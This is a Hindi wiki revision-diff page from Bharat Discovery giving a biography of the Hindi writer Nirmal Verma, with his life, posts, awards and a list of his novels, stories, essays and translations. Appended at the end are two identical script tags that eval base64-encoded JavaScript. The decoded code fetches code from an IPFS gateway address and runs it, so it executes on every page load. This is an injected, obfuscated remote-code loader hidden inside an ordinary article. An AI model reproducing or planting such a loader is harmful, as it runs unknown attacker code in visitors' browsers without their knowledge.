"निर्मल वर्मा" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "अविभावक" to "अभिभावक")
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 4: पंक्ति 4:
 
|पूरा नाम=निर्मल वर्मा
 
|पूरा नाम=निर्मल वर्मा
 
|अन्य नाम=
 
|अन्य नाम=
|जन्म= [[3 अप्रॅल]], 1929  
+
|जन्म= [[3 अप्रॅल]], [[1929]]
 
|जन्म भूमि=[[शिमला]]
 
|जन्म भूमि=[[शिमला]]
|मृत्यु= [[25 अक्तूबर]], 2005  
+
|मृत्यु= [[25 अक्तूबर]], [[2005]]
 
|मृत्यु स्थान=[[दिल्ली]]
 
|मृत्यु स्थान=[[दिल्ली]]
|अभिभावक=पिता- नंद कुमार वर्मा
+
|अभिभावक=[[पिता]]- नंद कुमार वर्मा
 
|पालक माता-पिता=
 
|पालक माता-पिता=
 
|पति/पत्नी=
 
|पति/पत्नी=
पंक्ति 17: पंक्ति 17:
 
|विषय=
 
|विषय=
 
|भाषा=[[हिन्दी]]
 
|भाषा=[[हिन्दी]]
|विद्यालय=सेंट स्टीफेंस कॉलेज, दिल्ली  
+
|विद्यालय=सेंट स्टीफेंस कॉलेज, [[दिल्ली]]
|शिक्षा=एम.ए. (इतिहास)
+
|शिक्षा=एम.ए. ([[इतिहास]])
|पुरस्कार-उपाधि=[[पद्म भूषण]], [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]] (1985), [[ज्ञानपीठ पुरस्कार]] (1999)
+
|पुरस्कार-उपाधि=[[पद्म भूषण]], [[साहित्य अकादमी पुरस्कार हिन्दी|साहित्य अकादमी पुरस्कार]] ([[1985]]), [[ज्ञानपीठ पुरस्कार]] ([[1999]])
 
|प्रसिद्धि=
 
|प्रसिद्धि=
 
|विशेष योगदान=
 
|विशेष योगदान=
पंक्ति 32: पंक्ति 32:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
निर्मल वर्मा ([[अंग्रेज़ी]]:Nirmal Verma) (जन्म: 3 अप्रॅल 1929 - मृत्यु: 25 अक्तूबर 2005) [[हिन्दी]] के आधुनिक साहित्यकारों में से एक थे। [[हिन्दी साहित्य]] में नई कहानी आंदोलन के प्रमुख ध्वजवाहक निर्मल वर्मा का कहानी में आधुनिकता का बोध लाने वाले कहानीकारों में अग्रणी स्थान है।  
+
'''निर्मल वर्मा''' ([[अंग्रेज़ी]]: ''Nirmal Verma'', जन्म: [[3 अप्रॅल]], [[1929]]; मृत्यु: [[25 अक्तूबर]], [[2005]]) [[हिन्दी]] के आधुनिक साहित्यकारों में से एक थे। [[हिन्दी साहित्य]] में नई कहानी आंदोलन के प्रमुख ध्वजवाहक निर्मल वर्मा का [[कहानी]] में आधुनिकता का बोध लाने वाले कहानीकारों में अग्रणी स्थान है। ‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’ और ‘वे दिन’ निर्मल वर्मा के चर्चित [[उपन्यास]] है। उनका अंतिम उपन्यास ‘अंतिम अरण्य’ [[1990]] में प्रकाशित हुआ था। उनकी सौ से अधिक कहानियाँ कई कहानी संग्रहों में प्रकाशित हुई।
 
 
 
==जीवन परिचय==
 
==जीवन परिचय==
निर्मल वर्मा का जन्म तीन अप्रॅल 1929 को [[शिमला]] में हुआ था। ब्रिटिश भारत सरकार के रक्षा विभाग में एक उच्च पदाधिकारी श्री नंद कुमार वर्मा के घर जन्म लेने वाले आठ भाई बहनों में से पांचवें निर्मल वर्मा की संवेदनात्मक बुनावट पर हिमांचल की पहाड़ी छायाएं दूर तक पहचानी जा सकती हैं। उन्होंने कम लिखा है परंतु जितना लिखा है उतने से ही वे बहुत ख्याति पाने में सफल हुए हैं। उन्होंने कहानी की प्रचलित कला में तो संशोधन किया ही, प्रत्यक्ष यथार्थ को भेदकर उसके भीतर पहुंचने का भी प्रयत्न किया है। हिन्दी के महान साहित्यकारों में से अज्ञेय और निर्मल वर्मा जैसे कुछ ही साहित्यकार ऐसे रहे हैं जिन्होंने अपने प्रत्यक्ष अनुभवों के आधार पर भारतीय और पश्चिम की संस्कृतियों के अंतर्द्वन्द्व पर गहनता एवं व्यापकता से विचार किया।<ref name="अभि">{{cite web |url=http://www.abhivyakti-hindi.org/lekhak/n/nirmalverma.htm |title=निर्मल वर्मा |accessmonthday=16 जनवरी |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=अभिव्यक्ति |language=हिन्दी }}</ref> [[दिल्ली]] के सेंट स्टीफेंस कॉलेज से इतिहास में एम.ए. करने के बाद उन्होंने कुछ दिन तक अध्यापन किया। 1959 से 1972 के बीच उन्हें यूरोप प्रवास का अवसर मिला। वह प्राग विश्वविद्यालय के प्राच्य विद्या संस्थान में सात साल तक रहे। उनकी कहानी ‘माया दर्पण’ पर 1973 में फ़िल्म बनी जिसे सर्वश्रेष्ठ हिन्दी फ़िल्म का पुरस्कार मिला।<ref name="WDH">{{cite web |url=http://hindi.webdunia.com/%E0%A4%A8%E0%A4%BF%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%B2-%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF/%E0%A4%A8%E0%A4%BF%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%B2-%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%BE-%E0%A4%95%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF-%E0%A4%9A%E0%A4%B2%E0%A4%9A%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%AE%E0%A4%AF-%E0%A4%B9%E0%A5%88-1100403032_1.htm |title=निर्मल वर्मा का साहित्य चलचित्रमय है |accessmonthday=16 जनवरी |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेब दुनिया हिन्दी |language=हिन्दी }}</ref>
+
निर्मल वर्मा का जन्म तीन अप्रॅल 1929 को [[शिमला]] में हुआ था। ब्रिटिश भारत सरकार के रक्षा विभाग में एक उच्च पदाधिकारी श्री नंद कुमार वर्मा के घर जन्म लेने वाले आठ भाई बहनों में से पांचवें निर्मल वर्मा की संवेदनात्मक बुनावट पर हिमांचल की पहाड़ी छायाएं दूर तक पहचानी जा सकती हैं। उन्होंने कम लिखा है परंतु जितना लिखा है उतने से ही वे बहुत ख्याति पाने में सफल हुए हैं। उन्होंने कहानी की प्रचलित कला में तो संशोधन किया ही, प्रत्यक्ष यथार्थ को भेदकर उसके भीतर पहुंचने का भी प्रयत्न किया है। हिन्दी के महान् साहित्यकारों में से अज्ञेय और निर्मल वर्मा जैसे कुछ ही साहित्यकार ऐसे रहे हैं जिन्होंने अपने प्रत्यक्ष अनुभवों के आधार पर भारतीय और पश्चिम की संस्कृतियों के अंतर्द्वन्द्व पर गहनता एवं व्यापकता से विचार किया।<ref name="अभि">{{cite web |url=http://www.abhivyakti-hindi.org/lekhak/n/nirmalverma.htm |title=निर्मल वर्मा |accessmonthday=16 जनवरी |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=अभिव्यक्ति |language=हिन्दी }}</ref> [[दिल्ली]] के सेंट स्टीफेंस कॉलेज से इतिहास में एम.ए. करने के बाद उन्होंने कुछ दिन तक अध्यापन किया। 1959 से 1972 के बीच उन्हें यूरोप प्रवास का अवसर मिला। वह प्राग विश्वविद्यालय के प्राच्य विद्या संस्थान में सात साल तक रहे। उनकी कहानी ‘माया दर्पण’ पर 1973 में फ़िल्म बनी जिसे सर्वश्रेष्ठ हिन्दी फ़िल्म का पुरस्कार मिला।<ref name="WDH">{{cite web |url=http://hindi.webdunia.com/%E0%A4%A8%E0%A4%BF%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%B2-%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF/%E0%A4%A8%E0%A4%BF%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%B2-%E0%A4%B5%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%BE-%E0%A4%95%E0%A4%BE-%E0%A4%B8%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%AF-%E0%A4%9A%E0%A4%B2%E0%A4%9A%E0%A4%BF%E0%A4%A4%E0%A5%8D%E0%A4%B0%E0%A4%AE%E0%A4%AF-%E0%A4%B9%E0%A5%88-1100403032_1.htm |title=निर्मल वर्मा का साहित्य चलचित्रमय है |accessmonthday=16 जनवरी |accessyear=2012 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेब दुनिया हिन्दी |language=हिन्दी }}</ref>
 
 
 
==कार्यक्षेत्र==
 
==कार्यक्षेत्र==
 
वे इंडियन इंस्टीटयूट ऑफ़ एडवांस स्टडीज़ (शिमला) के फेलो (1973), निराला सृजनपीठ भोपाल (1981-83) और यशपाल सृजनपीठ (शिमला) के अध्यक्ष रहे। 1988 में [[इंग्लैंड]] के प्रकाशक रीडर्स इंटरनेशनल द्वारा उनकी कहानियों का संग्रह 'द वर्ल्ड एल्सव्हेयर' प्रकाशित हुआ। इसी समय बीबीसी द्वार उन पर एक डाक्यूमेंट्री फ़िल्म भी प्रसारित हुई।<ref name="अभि"/>
 
वे इंडियन इंस्टीटयूट ऑफ़ एडवांस स्टडीज़ (शिमला) के फेलो (1973), निराला सृजनपीठ भोपाल (1981-83) और यशपाल सृजनपीठ (शिमला) के अध्यक्ष रहे। 1988 में [[इंग्लैंड]] के प्रकाशक रीडर्स इंटरनेशनल द्वारा उनकी कहानियों का संग्रह 'द वर्ल्ड एल्सव्हेयर' प्रकाशित हुआ। इसी समय बीबीसी द्वार उन पर एक डाक्यूमेंट्री फ़िल्म भी प्रसारित हुई।<ref name="अभि"/>
 
 
==कृतियाँ==
 
==कृतियाँ==
 
‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’ और ‘वे दिन’ निर्मल वर्मा के चर्चित उपन्यास है। उनका अंतिम उपन्यास ‘अंतिम अरण्य’ 1990 में प्रकाशित हुआ। उनकी सौ से अधिक कहानियाँ कई कहानी संग्रहों में प्रकाशित हुई। 1958 में ‘परिंदे’ कहानी से प्रसिद्धी पाने वाले निर्मल वर्मा ने ‘धुंध से उठती धुन’ और ‘चीड़ों पर चाँदनी’ यात्रा वृतांत भी लिखे, जिसने उनकी लेखन विधा को नये मायने दिए।<ref name="WDH"/>  
 
‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’ और ‘वे दिन’ निर्मल वर्मा के चर्चित उपन्यास है। उनका अंतिम उपन्यास ‘अंतिम अरण्य’ 1990 में प्रकाशित हुआ। उनकी सौ से अधिक कहानियाँ कई कहानी संग्रहों में प्रकाशित हुई। 1958 में ‘परिंदे’ कहानी से प्रसिद्धी पाने वाले निर्मल वर्मा ने ‘धुंध से उठती धुन’ और ‘चीड़ों पर चाँदनी’ यात्रा वृतांत भी लिखे, जिसने उनकी लेखन विधा को नये मायने दिए।<ref name="WDH"/>  
पंक्ति 107: पंक्ति 104:
 
*[http://srijanshilpi.com/archives/58 निर्मल वर्मा के चिंतन में भारत और यूरोप का द्वन्द्व]
 
*[http://srijanshilpi.com/archives/58 निर्मल वर्मा के चिंतन में भारत और यूरोप का द्वन्द्व]
 
==संबंधित लेख==
 
==संबंधित लेख==
{{ज्ञानपीठ पुरस्कार}}{{साहित्यकार}}
+
{{ज्ञानपीठ पुरस्कार}}{{मूर्ति देवी पुरस्कार}}{{साहित्यकार}}
 
[[Category:ज्ञानपीठ पुरस्कार]][[Category:साहित्य अकादमी पुरस्कार]]
 
[[Category:ज्ञानपीठ पुरस्कार]][[Category:साहित्य अकादमी पुरस्कार]]
[[Category:उपन्यासकार]][[Category:लेखक]][[Category:आधुनिक लेखक]] [[Category:साहित्य कोश]][[Category:साहित्यकार]][[Category:नाटककार]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:पद्म भूषण]]
+
[[Category:उपन्यासकार]][[Category:लेखक]][[Category:आधुनिक लेखक]] [[Category:साहित्य कोश]][[Category:साहित्यकार]][[Category:नाटककार]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:पद्म भूषण]][[Category:मूर्ति देवी पुरस्कार]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

06:39, 21 फ़रवरी 2021 के समय का अवतरण

निर्मल वर्मा
निर्मल वर्मा
पूरा नाम निर्मल वर्मा
जन्म 3 अप्रॅल, 1929
जन्म भूमि शिमला
मृत्यु 25 अक्तूबर, 2005
मृत्यु स्थान दिल्ली
अभिभावक पिता- नंद कुमार वर्मा
कर्म-क्षेत्र साहित्य
मुख्य रचनाएँ ‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’, ‘वे दिन’ आदि
भाषा हिन्दी
विद्यालय सेंट स्टीफेंस कॉलेज, दिल्ली
शिक्षा एम.ए. (इतिहास)
पुरस्कार-उपाधि पद्म भूषण, साहित्य अकादमी पुरस्कार (1985), ज्ञानपीठ पुरस्कार (1999)
नागरिकता भारतीय
अन्य जानकारी निर्मल वर्मा इंडियन इंस्टीटयूट ऑफ़ एडवांस स्टडीज़ (शिमला) के फेलो (1973), निराला सृजनपीठ भोपाल (1981-83) और यशपाल सृजनपीठ (शिमला) के अध्यक्ष रहे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

निर्मल वर्मा (अंग्रेज़ी: Nirmal Verma, जन्म: 3 अप्रॅल, 1929; मृत्यु: 25 अक्तूबर, 2005) हिन्दी के आधुनिक साहित्यकारों में से एक थे। हिन्दी साहित्य में नई कहानी आंदोलन के प्रमुख ध्वजवाहक निर्मल वर्मा का कहानी में आधुनिकता का बोध लाने वाले कहानीकारों में अग्रणी स्थान है। ‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’ और ‘वे दिन’ निर्मल वर्मा के चर्चित उपन्यास है। उनका अंतिम उपन्यास ‘अंतिम अरण्य’ 1990 में प्रकाशित हुआ था। उनकी सौ से अधिक कहानियाँ कई कहानी संग्रहों में प्रकाशित हुई।

जीवन परिचय

निर्मल वर्मा का जन्म तीन अप्रॅल 1929 को शिमला में हुआ था। ब्रिटिश भारत सरकार के रक्षा विभाग में एक उच्च पदाधिकारी श्री नंद कुमार वर्मा के घर जन्म लेने वाले आठ भाई बहनों में से पांचवें निर्मल वर्मा की संवेदनात्मक बुनावट पर हिमांचल की पहाड़ी छायाएं दूर तक पहचानी जा सकती हैं। उन्होंने कम लिखा है परंतु जितना लिखा है उतने से ही वे बहुत ख्याति पाने में सफल हुए हैं। उन्होंने कहानी की प्रचलित कला में तो संशोधन किया ही, प्रत्यक्ष यथार्थ को भेदकर उसके भीतर पहुंचने का भी प्रयत्न किया है। हिन्दी के महान् साहित्यकारों में से अज्ञेय और निर्मल वर्मा जैसे कुछ ही साहित्यकार ऐसे रहे हैं जिन्होंने अपने प्रत्यक्ष अनुभवों के आधार पर भारतीय और पश्चिम की संस्कृतियों के अंतर्द्वन्द्व पर गहनता एवं व्यापकता से विचार किया।[1] दिल्ली के सेंट स्टीफेंस कॉलेज से इतिहास में एम.ए. करने के बाद उन्होंने कुछ दिन तक अध्यापन किया। 1959 से 1972 के बीच उन्हें यूरोप प्रवास का अवसर मिला। वह प्राग विश्वविद्यालय के प्राच्य विद्या संस्थान में सात साल तक रहे। उनकी कहानी ‘माया दर्पण’ पर 1973 में फ़िल्म बनी जिसे सर्वश्रेष्ठ हिन्दी फ़िल्म का पुरस्कार मिला।[2]

कार्यक्षेत्र

वे इंडियन इंस्टीटयूट ऑफ़ एडवांस स्टडीज़ (शिमला) के फेलो (1973), निराला सृजनपीठ भोपाल (1981-83) और यशपाल सृजनपीठ (शिमला) के अध्यक्ष रहे। 1988 में इंग्लैंड के प्रकाशक रीडर्स इंटरनेशनल द्वारा उनकी कहानियों का संग्रह 'द वर्ल्ड एल्सव्हेयर' प्रकाशित हुआ। इसी समय बीबीसी द्वार उन पर एक डाक्यूमेंट्री फ़िल्म भी प्रसारित हुई।[1]

कृतियाँ

‘रात का रिपोर्टर’, ‘एक चिथड़ा सुख’, ‘लाल टीन की छत’ और ‘वे दिन’ निर्मल वर्मा के चर्चित उपन्यास है। उनका अंतिम उपन्यास ‘अंतिम अरण्य’ 1990 में प्रकाशित हुआ। उनकी सौ से अधिक कहानियाँ कई कहानी संग्रहों में प्रकाशित हुई। 1958 में ‘परिंदे’ कहानी से प्रसिद्धी पाने वाले निर्मल वर्मा ने ‘धुंध से उठती धुन’ और ‘चीड़ों पर चाँदनी’ यात्रा वृतांत भी लिखे, जिसने उनकी लेखन विधा को नये मायने दिए।[2]

निर्मल वर्मा ने अनेक कहानियाँ, उपन्यास, यात्रा वृतांत, संस्मरण आदि लिखे हैं। उनकी प्रकाशित पुस्तकें हैं[3]:

उपन्यास
  1. वे दिन (1964)
  2. लाल टीन की छत (1974)
  3. एक चिथड़ा सुख (1979)
  4. रात का रिपोर्टर (1989)
  5. अंतिम अरण्य (2000)
कहानी संग्रह
  1. परिंदे (1959)
  2. जलती झाड़ी (1965)
  3. पिछली गर्मियों में (1968)
  4. बीच बहस में (1973)
  5. मेरी प्रिय कहानियाँ (1973)
  6. प्रतिनिधि कहानियाँ (1988)
  7. कव्वे और काला पानी (1983)
  8. सूखा तथा अन्य कहानियाँ (1995)
  9. संपूर्ण कहानियाँ (2005)
यात्रा-संस्मरण व डायरी
  1. चीड़ों पर चाँदनी (1963)
  2. हर बारिश में (1970)
  3. धुँध से उठती धुन (1977)
निबंध
  1. शब्द और स्मृति (1976)
  2. कला का जोखिम (1981)
  3. ढलान से उतरते हुए (1985)
  4. भारत और यूरोप : प्रतिश्रुति के क्षेत्र (1991)
  5. इतिहास स्मृति आकांक्षा (1991)
  6. शताब्दी के ढलते वर्षों में (1995)
  7. अन्त और आरम्भ (2001)
नाटक
  1. तीन एकान्त (1976)
संचयन
  1. दूसरी दुनिया (1978)
  2. परिवर्द्धित नया संस्करण (2005)
अनुवाद
  1. कुप्रिन की कहानियाँ (1955)
  2. रोमियो जूलियट और अँधेरा (1962)
  3. झोंपड़ीवाले (1966)
  4. बाहर और परे (1967)
  5. बचपन (1970)
  6. आर यू आर (1972)

योगदान

प्रेमचंद और उनके समकक्ष साहित्यकारों जैसे भगवतीचरण वर्मा, फणीश्वरनाथ रेणु आदि के बाद साहित्यिक परिदृश्य एकदम से बदल गया। विशेषकर साठ-सत्तर के दशक के दौरान और उसके बाद बहुत कम लेखक हुए जिन्हें कला की दृष्टि से हिन्दी साहित्य में अभूतपूर्व योगदान के लिये याद किया जायेगा। संख्या में गुणवत्ता के सापेक्ष आनुपातिक वृद्धि ही हुई। इसके कारणों में ये प्रमुख रहे। हिन्दी का सरकारीकरण, नये वादों-विवादों का उदय, उपभोक्तावाद का वर्चस्व आदि। उनके जैसे साहित्यकार से उनके समकालीन और बाद के साहित्यकार जितना कुछ सीख सकते थे और अपने योगदान में अभिवृद्धि कर सकते थे उतना वे नहीं कर पाये। उन्हें जितना मान दिया गया उतना ही उनका अनदेखा भी हुआ। जितनी चर्चा उनकी कृतियों पर होनी चाहिये थी शायद वह हुई ही नहीं। वे उन चुने हुए व्यक्तियों में थे जिन्होंने साहित्य और कला की निष्काम साधना की और जीवनपर्यन्त अपने मूल्यों का निर्वाह किया।

सम्मान और पुरस्कार

निधन

निर्मल वर्मा का निधन 25 अक्टूबर 2005 को नई दिल्ली में हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 निर्मल वर्मा (हिन्दी) (एच.टी.एम.एल) अभिव्यक्ति। अभिगमन तिथि: 16 जनवरी, 2012।
  2. 2.0 2.1 2.2 निर्मल वर्मा का साहित्य चलचित्रमय है (हिन्दी) (एच.टी.एम.एल) वेब दुनिया हिन्दी। अभिगमन तिथि: 16 जनवरी, 2012।
  3. अंतिम अरण्य" के बहाने निर्मल वर्मा के साहित्य पर एक दृष्टि (हिन्दी) (एच.टी.एम.एल) साहित्य कुञ्ज। अभिगमन तिथि: 16 जनवरी, 2012।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>